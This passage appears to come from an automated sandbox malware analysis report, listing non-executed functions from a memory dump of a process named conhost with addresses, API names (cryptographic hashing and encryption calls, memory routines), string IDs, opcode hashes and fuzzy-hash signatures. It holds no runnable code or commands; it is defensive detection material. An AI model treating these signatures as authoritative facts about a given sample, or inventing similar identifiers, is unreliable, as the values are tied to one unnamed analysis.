                                  • String ID:
                                  • API String ID: 31276548-0
                                  • Opcode ID: 2fcf3f04090baae08fa3fc254beacda5c76ef387cc071797ec1762ad5d5a440d
                                  • Instruction ID: c72e2d42099851fc4d0c1a05dabe26e78e9c7c2fbeb74e026d7c8f13036d011a
                                  • Opcode Fuzzy Hash: 2fcf3f04090baae08fa3fc254beacda5c76ef387cc071797ec1762ad5d5a440d
                                  • Instruction Fuzzy Hash: 4DB09236B28880C2C612EF48E8422597731F7A8B8CFD00100E34D42634CE28C6AACE00

                                  Non-executed Functions

                                  Function 0000000140035080 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 102COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: Crypt$Destroy$AlgorithmProvider$CloseHashfree$Open
                                  • String ID: ObjectLength$SHA1$SHA256
                                  • API String ID: 3657822321-2813173312
                                  • Opcode ID: e4f3a0a9d189e76fdef056d3e0594785330acbe22461ddd19ffd425ae18585bf
                                  • Instruction ID: 9bb5c048302c3d2148e385f6e7b4419e633a23b1ac28fdb801eebc9ef4e7f124
                                  • Opcode Fuzzy Hash: e4f3a0a9d189e76fdef056d3e0594785330acbe22461ddd19ffd425ae18585bf
                                  • Instruction Fuzzy Hash: 83413776211B0085FB2AEF22E4617EB67A0AB89BC8F544511BF49476F9DB38C540C780
                                  Function 0000000140034050 Relevance: 7.5, APIs: 5, Instructions: 26COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: free$Crypt$AlgorithmCloseDestroyProvider
                                  • String ID:
                                  • API String ID: 3954405007-0
                                  • Opcode ID: 0e26d23cee035ca6d3555a028b532afb7ca69d53822d1e87b8507de51176b72b
                                  • Instruction ID: 78335706487d59884d208166c705111ac799ae77d35655ac8c0deb762c960831
                                  • Opcode Fuzzy Hash: 0e26d23cee035ca6d3555a028b532afb7ca69d53822d1e87b8507de51176b72b
                                  • Instruction Fuzzy Hash: 32F0F472611A0481FF16EF73E4617AA2360EB88F8CF044510EF594B2BACF78C855C340
                                  Function 0000000140035010 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: Crypt$Destroy$AlgorithmCloseHashProviderfree
                                  • String ID:
                                  • API String ID: 4137210468-0
                                  • Opcode ID: b8c1d5dca61cefbbb5be88c3f63f3f8e426991d9fe6e7f798bcf695d50ea6645
                                  • Instruction ID: ef95f9c2ffd559959a0b48212c11cf6cde57321941e3bdbbf892aa1f10a95968
                                  • Opcode Fuzzy Hash: b8c1d5dca61cefbbb5be88c3f63f3f8e426991d9fe6e7f798bcf695d50ea6645
                                  • Instruction Fuzzy Hash: 79F09836602A0080FF1AEB72E4657AA6350AB98B89F144410AB494B2AADF79C855C3D0
                                  Function 0000000140033FF0 Relevance: 4.5, APIs: 3, Instructions: 28COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: free$AlgorithmCloseCryptProvider
                                  • String ID:
                                  • API String ID: 2805733106-0
                                  • Opcode ID: 3844b87f43dfe449c4c2b9430afbca2b6231328a1cad9f3800727cf4a9dbae33
                                  • Instruction ID: d5da50ef1939855859af4e1ce8b9d510b7b0f4fb9c97512b0670732a52aea697
                                  • Opcode Fuzzy Hash: 3844b87f43dfe449c4c2b9430afbca2b6231328a1cad9f3800727cf4a9dbae33
                                  • Instruction Fuzzy Hash: 7DF0A23671651045FF5FAB63F4617EB53505F88BD4F484511AF450BBA5CF38D8424340
                                  Function 00000001400340C0 Relevance: 3.1, APIs: 2, Instructions: 76COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: CryptEncrypt
                                  • String ID:
                                  • API String ID: 1352496322-0
                                  • Opcode ID: 1fda2db5d03e8617fc330f042c955fc8b655588cf5e37f9e04b65fed0f4489d8
                                  • Instruction ID: 2eec0a712bb2f4ec78f31e68d370252b3ab45dd555f6cdfc6b8d3851cdad6c96
                                  • Opcode Fuzzy Hash: 1fda2db5d03e8617fc330f042c955fc8b655588cf5e37f9e04b65fed0f4489d8
                                  • Instruction Fuzzy Hash: 91317A76615B548AEB62CF96E44078AB7E4F75CBD8F140115EF8C4BBA8D738D980CB80
                                  Function 000000014005D060 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 311COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID: c_object$c_object$objc_obj$objc_obj
                                  • API String ID: 1833655766-1179801904
                                  • Opcode ID: 87f59c359129445806bdbc2d3b20460f39b5b3fd721a7bb1c2d7c6d2a203fa90
                                  • Instruction ID: 595e5dde6d1da9cb22b2448978e28d563c2e379f2e8b5b98001f85ea5e13e8ce
                                  • Opcode Fuzzy Hash: 87f59c359129445806bdbc2d3b20460f39b5b3fd721a7bb1c2d7c6d2a203fa90
                                  • Instruction Fuzzy Hash: A6C139B6601B8482EF26DB5BE4443ADB7A2E759FC4F058512EB8E477A0DF39C582C340
                                  Function 00000001400030B0 Relevance: 21.3, APIs: 14, Instructions: 311stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: freerealloc$strlenstrncpy
                                  • String ID:
                                  • API String ID: 4241376611-0
                                  • Opcode ID: 1ffa60fcb4ca4b1eac0a0cc87831d147db2e39fb2cc90b4797d863e1bf45b181
                                  • Instruction ID: 7578b160c30e36056dee60dc0aa75ec35e41d6119e658c7710dafc2d000966bf
                                  • Opcode Fuzzy Hash: 1ffa60fcb4ca4b1eac0a0cc87831d147db2e39fb2cc90b4797d863e1bf45b181
                                  • Instruction Fuzzy Hash: 15D17D72209A8185EB63DB27B8547EB67A8EB8DBD4F444125FF894B7E9DF38C4018740
                                  Function 0000000140050067 Relevance: 13.6, APIs: 9, Instructions: 95COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: isxdigit$malloc
                                  • String ID:
                                  • API String ID: 1399014089-0
                                  • Opcode ID: f8b06be04f3b183f8c9e4885ec045c3b3cc2076a764c3f4dd164b092cb3af9e8
                                  • Instruction ID: 23e6b8cd426bf820a7cfa49bf61975b4dc07e4119f77671e72e2c53ea99775af
                                  • Opcode Fuzzy Hash: f8b06be04f3b183f8c9e4885ec045c3b3cc2076a764c3f4dd164b092cb3af9e8
                                  • Instruction Fuzzy Hash: 7A418D32700A8041FB5A8F32E9907AD67A4F748BD1F4C4526ABDA4BAB1DF78D591C340
                                  Function 0000000140016120 Relevance: 10.8, APIs: 5, Strings: 2, Instructions: 299COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: free$mallocsetlocale
                                  • String ID: %$+
                                  • API String ID: 3115544720-2626897407
                                  • Opcode ID: 0f922b7fed24624c86fdb06e5217c3efd8da93fdf5c1a813ebfb762e59c78895
                                  • Instruction ID: 7b4dca2ebba0c460e55b98a59db5299716405a99f074e415dae7d8745f3a8567
                                  • Opcode Fuzzy Hash: 0f922b7fed24624c86fdb06e5217c3efd8da93fdf5c1a813ebfb762e59c78895
                                  • Instruction Fuzzy Hash: 2AC10772218A9486FA629B27E8403EF6760E789BD4F444111FF895BBB6DF3DC946C700
                                  Function 00000001400560C0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: > typena$ame $template
                                  • API String ID: 471065373-2892875084
                                  • Opcode ID: 425b22235dbcaa975daf389685f55c028230596f0b2bcf9deef3724b4f1ad2e3
                                  • Instruction ID: e99480d50d98873864ecc72625ba8470dd2b3d05e8589fed2e306706ddfe090f
                                  • Opcode Fuzzy Hash: 425b22235dbcaa975daf389685f55c028230596f0b2bcf9deef3724b4f1ad2e3
                                  • Instruction Fuzzy Hash: EB314DF2A02B4482EE2ADF57E55439AA761F79CBD0F048121DF9D077A5EB38C592C340
                                  Function 0000000140053070 Relevance: 7.7, APIs: 5, Instructions: 217COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: bb567be66350f12538ceaf452499a841885437baa456a16ec14add05c560b684
                                  • Instruction ID: 1a0d4f4817efb46c0158b7a0d2231fd3b7a0c81349dce9940461ecc6eaa00ab3
                                  • Opcode Fuzzy Hash: bb567be66350f12538ceaf452499a841885437baa456a16ec14add05c560b684
                                  • Instruction Fuzzy Hash: 757160B2602F4482EB2ADB57F5547AAA7A1E758BC0F448425EF9E077A1EF39D491C300
                                  Function 000000014004DFF0 Relevance: 7.6, APIs: 5, Instructions: 135stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: malloc$memcpyreallocstrlen
                                  • String ID:
                                  • API String ID: 2194225509-0
                                  • Opcode ID: a761a0d08f1265782fc20fcb4a21eb77c94a8238d1cd9de880fcdaff579de5b0
                                  • Instruction ID: 7ed94a927e4c21bea5ab9e7da9f33063054800e764fb56e353cc2ecb6d9190f1
                                  • Opcode Fuzzy Hash: a761a0d08f1265782fc20fcb4a21eb77c94a8238d1cd9de880fcdaff579de5b0
                                  • Instruction Fuzzy Hash: 9241C132211B8492EB2ADF26F9407D937A0E70DBD4F594525EF9D0B7A1DB78C5A6C300
                                  Function 0000000140039070 Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide$AttributesFilecallocfree
                                  • String ID:
                                  • API String ID: 1426449938-0
                                  • Opcode ID: a2d823bcb5c61c13db88150e6fc2ad9990c2ff7aae719c11a6f16aa57f1fe907
                                  • Instruction ID: 4506211d67c51c18801ff3b85f1265beac3f357ae0a0f0bc09987725835fd231
                                  • Opcode Fuzzy Hash: a2d823bcb5c61c13db88150e6fc2ad9990c2ff7aae719c11a6f16aa57f1fe907
                                  • Instruction Fuzzy Hash: B811C632704A0145F6229B7BAC1579A56855B897F4F4C0330BF2847BE4EA38C4818200
                                  Function 0000000140060040 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: strlen
                                  • String ID: +
                                  • API String ID: 39653677-2126386893
                                  • Opcode ID: 427b9f7689f8b8841e312c0c3375671aeb49df9fd54e8812c50c1f39c508a4e4
                                  • Instruction ID: 1b3c3f6a5fe6a6fb63eb0ca2544375d579db28458e5cf661b23dcec25cbd23aa
                                  • Opcode Fuzzy Hash: 427b9f7689f8b8841e312c0c3375671aeb49df9fd54e8812c50c1f39c508a4e4
                                  • Instruction Fuzzy Hash: 1751D8722582808BE73A8B27E8507EFB7A2E34A7D4F148519FB9A47BD1D739D501CB00
                                  Function 000000014005E080 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_get_proc_name(cursor=%p, &buf=%p, bufLen=%lu)
                                  • API String ID: 1137233558-3584756005
                                  • Opcode ID: 505fe3d6bc56c45a131a61cbd4ba24380b77fdbcb65d4b975444dda1279d8c60
                                  • Instruction ID: b303460dfa05383f61e4e7e1926b1bafaee40a898d79328391bba780bc411b80
                                  • Opcode Fuzzy Hash: 505fe3d6bc56c45a131a61cbd4ba24380b77fdbcb65d4b975444dda1279d8c60
                                  • Instruction Fuzzy Hash: 86110071714A9482FB07DB67AC457DA5B60BB8DBD0F040129BF4A077F2DA3C8986C205
                                  Function 000000014005DFF0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_resume(cursor=%p)
                                  • API String ID: 1137233558-227906034
                                  • Opcode ID: 82c04c9ae115acf3b8889823c1adb8a46da8627c099d11bf8bebbd7c5e906556
                                  • Instruction ID: f049c182cb8416f50408f719f380e8bd9ed47ca5d24b25bfd049c5d570822f5e
                                  • Opcode Fuzzy Hash: 82c04c9ae115acf3b8889823c1adb8a46da8627c099d11bf8bebbd7c5e906556
                                  • Instruction Fuzzy Hash: 0701A430605AD481FB07AB67B9493E91760A75EBC0F45511AFF4E033F2DE798985C302
                                  Function 0000000140061020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: AddressHandleModuleProc
                                  • String ID: msvcrt.dll$strerror_s
                                  • API String ID: 1646373207-1151979360
                                  • Opcode ID: 9035045830eb1480bf82cc9b6a4baeedb22537a61e624f421285f8a3cbc76c2b
                                  • Instruction ID: 2728d320797bf83ad2fd7965be1f8a0634a464b0c62db1c29af0190c2d897637
                                  • Opcode Fuzzy Hash: 9035045830eb1480bf82cc9b6a4baeedb22537a61e624f421285f8a3cbc76c2b
                                  • Instruction Fuzzy Hash: 2FF01270716A5580EE178B83AC547E62262AB9CBE4F945522BE4D43374EA7CC889C340
                                  Function 0000000140062120 Relevance: 6.4, APIs: 5, Instructions: 141COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: CriticalLeaveSection$free
                                  • String ID:
                                  • API String ID: 2017658852-0
                                  • Opcode ID: 3c2458963985b9e5e3ba1856dd8da00478556c62d53deed1696fdc3ae5d4e373
                                  • Instruction ID: 6647f8eec948407a8904c621679bd3e7aa592c2834e49d11f9995e373ef6544f
                                  • Opcode Fuzzy Hash: 3c2458963985b9e5e3ba1856dd8da00478556c62d53deed1696fdc3ae5d4e373
                                  • Instruction Fuzzy Hash: 37513431205E4591FF679F87AD953E962E2AB5DBC4F690825EF0D0B3B1EE388681C340
                                  Function 0000000140057080 Relevance: 6.2, APIs: 4, Instructions: 163COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 0000001B.00000002.3547044767.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true
                                  • Associated: 0000001B.00000002.3546993524.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547162743.00000001400B3000.00000004.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547184360.00000001400B7000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  • Associated: 0000001B.00000002.3547206847.00000001400BE000.00000002.00000001.00020000.00000000.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_27_2_140000000_conhost.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: e92adf0101e68eae878a29a6c6743d1c6ce4639753d8104e5182ae5fd00c9144
